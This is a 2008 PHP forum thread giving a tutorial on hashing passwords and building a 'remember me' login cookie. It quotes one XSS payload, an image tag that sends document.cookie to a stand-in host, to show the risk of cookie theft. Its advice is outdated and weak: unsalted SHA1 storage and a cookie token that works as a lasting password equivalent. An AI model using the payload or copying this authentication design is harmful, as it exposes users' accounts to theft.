Tip: Passwords (Security, 'Remember Me')

Discussion in 'PHP' started by bomsn, Sep 23, 2008.

Thread Status:
Not open for further replies.
  1. #1
    We've all made some sort of user system before. All user systems have some method of authentication, and usually this means entering a username and a password. In this thread I'm going to highlight ways to keep passwords as secure as possible, and outline a simple technique for a 'remember me' feature.

    Note: Throughout this post, the code examples will all be using the SHA1 hash function and all database actions are using PEAR::DB (link | docs). Pretend a mySQL database connection has already been initiated and the object is assigned to the $DB variable.

    What needs securing?
    So the first question is: what needs securing, and why? Well, passwords of course! Here are two rules that new developers break all the time:
    • Passwords stored in the database should always be hashed
    • Passwords stored on the client side should always be a hash of the password hash, and a randomly generated salt.
    First, what is a hash? To put it into simplest terms, it takes a variable length of data and converts it into fixed length data, often this conversion is said to be irreversible (unless through bruteforce cracking). In our use, this means turning a user's password into a fixed length string that no one can read, including the crackers. For example the 6 character password "moomoo" has a 40 character SHA1 hash of: 8a9dd5e0dc67c1b9115692b6f5b88d8751e3cdc8.

    And what is a salt? In our case it's simply a random bit of text that we'll use to further secure our passwords when storing them on the client side. We re-hash the already hashed password with the random, end-user-unknowing salt to make it even harder for a cracker to crack the password. We'll talk more about salts in a minute. An example of a salt might be something like "sd*&4hjf$@" (yes, it really should be completely random!).

    Now on to the why: For safety. There are untold circumstances if something were to happen to your site and a cracker got hold of your users passwords. For example, many users use the same password for many different sites. If the cracker got the password that, say, "BlueIce" used on your site he might get lucky and also gain access to "blueice@hotmail.com" etc. If this were to happen, it might even bring down some legal ramifications on you for not taking the steps to secure the information you collect.


    How do I secure my passwords on my server?
    So now you know that you should be storing hashed passwords in your database and not plaintext passwords, you want to know how it's done. Easy! PHP has two popular hash functions built in, MD5 and SHA1 (throughout this post we'll be using SHA1).

    When a user signs up, you simply have to apply the hash function to the password before you enter it into your database:


    PHP Code:
    $username = $_POST['username'];
    $password = sha1($_POST['password']);


    $DB->query('INSERT INTO users (username, password) VALUES (?, ?)', array($username, $password));


    So each user in the database now has a plaintext username, but a nicely hashed password that no one can read! Database administrators can't read it, so users can feel safe, and if your server is ever compromised, then the crackers can't read it either. This simple step of hashing the password has already paid off.

    "But wait!" I can hear you say, "how do I authenticate user's logging in if I don't know their password?". Since you cannot check a user's login password (which would normally be in plaintext) against the hashed database password, you have to hash the inputted password and then compare the two. So you are no longer doing ($input == $stored), but (sha1($input) == $stored):


    PHP Code:
    $username = $_POST['username'];
    $password = sha1($_POST['password']);


    /* Hash the input password and check it against
    the already hashed password stored in the database.

    Since both passwords are hashed using the same hash
    function, the two passwords will match if the user
    enteres the correct password
    */

    $user = $DB->getRow('SELECT * FROM users WHERE username=? AND password=?', array($username, $password));

    if(!$user)
    die('Sorry, incorrect username or password.');


    How do I created a 'Remember Me' feature?
    To create a 'Remember Me' feature on your website, you just have to store the user's login credentials inside of a cookie on their machine. When they visit your site, you should automatically check for the login data inside of a cookie and if it exists, process it to see if it is correct.

    This introduces the reason for using a salt: you don't want to give away a user's real hashed password and store it in a cookie. You know that hashed passwords are unreadable and can never be restored to their pre-hashed state -- so why does it matter? You could just fling the password hash in the hackers face and walk away laughing... couldn't you? The answer is, not really. While hashing the passwords you deal is a very good security technique, it doesn't mean you can become careless. Easy passwords like the "moomoo" example we discussed earlier are very easy to crack for a number of reasons: it's all lowercase, it's only 6 characters, all characters are letters and "moo" is a dictionary word. All of those factors make it an easy password for a cracker to crack. He does this by simply trying combination after combination and comparing it against a password hash he already has. There are also public services that store thousands of pre-cracked strings so a cracker might get lucky and find a password even faster.

    Since we can't (or choose not to) enforce our users to enter 16 character, alphanumeric, mixed case passwords -- we should add another layer of security.

    You might be thinking about why we need this extra bit of security. It's not like a user is going to go into their cookies and give out their passwords, even if they are hashed, right? Yeah, probably. But you never know what might happen. What if, due to some error in your code, you allow a cracker to publish an XSS attack on one of your popular pages and he reads a bunch of those user's passwords and stores them in some database of his? Like this:

    Code:
    <img src="logo.gif" width="1" height="1" onload="window.location='http://cracker-site.com/save?cookie='+document.cookie" /> Hi guys, I'm new to your site!
    Now he has a database of say, 500 users, and at least one of those is bound to have an easy password.


    To further reduce the chances of a cleartext password ever getting out, you give your user's a salted password instead. Essentially, you give them this:
    sha1( sha1(password_hash) . sha1(salt) )
    The random salt at the end makes it impossible to check passwords against a dictionary, dramatically increasing the time it takes to crack a password that it pretty much makes trying not worth it.

    So lets put this into practice. We already have some login code above, let's expand it to set a 'remember me cookie':

    PHP Code:
    $username = $_POST['username'];
    $password = sha1($_POST['password']);


    /* Hash the input password and check it against
    the already hashed password stored in the database.

    Since both passwords are hashed using the same hash
    function, the two passwords will match if the user
    enteres the correct password
    */

    $user = $DB->getRow('SELECT * FROM users WHERE username=? AND password=?', array($username, $password));

    if(!$user)
    die('Sorry, incorrect username or password.');

    // Did this user check that 'remember me' checkbox?
    if($_POST['remember_me'])
    {
    $expire = time() + 1728000; // Expire in 20 days
    $cookie_pass = sha1( sha1($user['password']) . sha1($user['salt']) );

    setcookie('user', $user['username'], $expire);
    setcookie('pass', $cookie_pass, $expire);
    }


    Now the password is as safe as it'll ever be. Through spyware, viruses, XSS attacks or browser exploits -- that password is going to stay obscure! To auto-login the user, just include some code somewhere on your page that checks for those cookie values. If they exist you have to fetch the user information for the username specified in the cookie (so you can get the salt), then re-create the correct salted-hashed-password and compare it with the password in the cookie:

    PHP Code:
    if(isset($_COOKIE['user'], $_COOKIE['pass']))
    {
    $user = $DB->getRow('SELECT * FROM users WHERE username=?', $_COOKIE['user']);


    if($user)
    {
    $check_pass = sha1( sha1($user['password']) . sha1($user['salt']) );

    if($check_pass == $_COOKIE['pass'])
    {
    // The user should be logged in
    }
    }
    }


    Just remember to generate a unique, random salt when a user registers
     
    bomsn, Sep 23, 2008 IP
    JEET likes this.
  2. JEET

    JEET Notable Member

    Messages:
    3,832
    Likes Received:
    502
    Best Answers:
    19
    Trophy Points:
    265
    #2
    Hi,
    Thanks for the tips. Green added. Will surely help someone.
    regards :)
     
    JEET, Sep 23, 2008 IP
Thread Status:
Not open for further replies.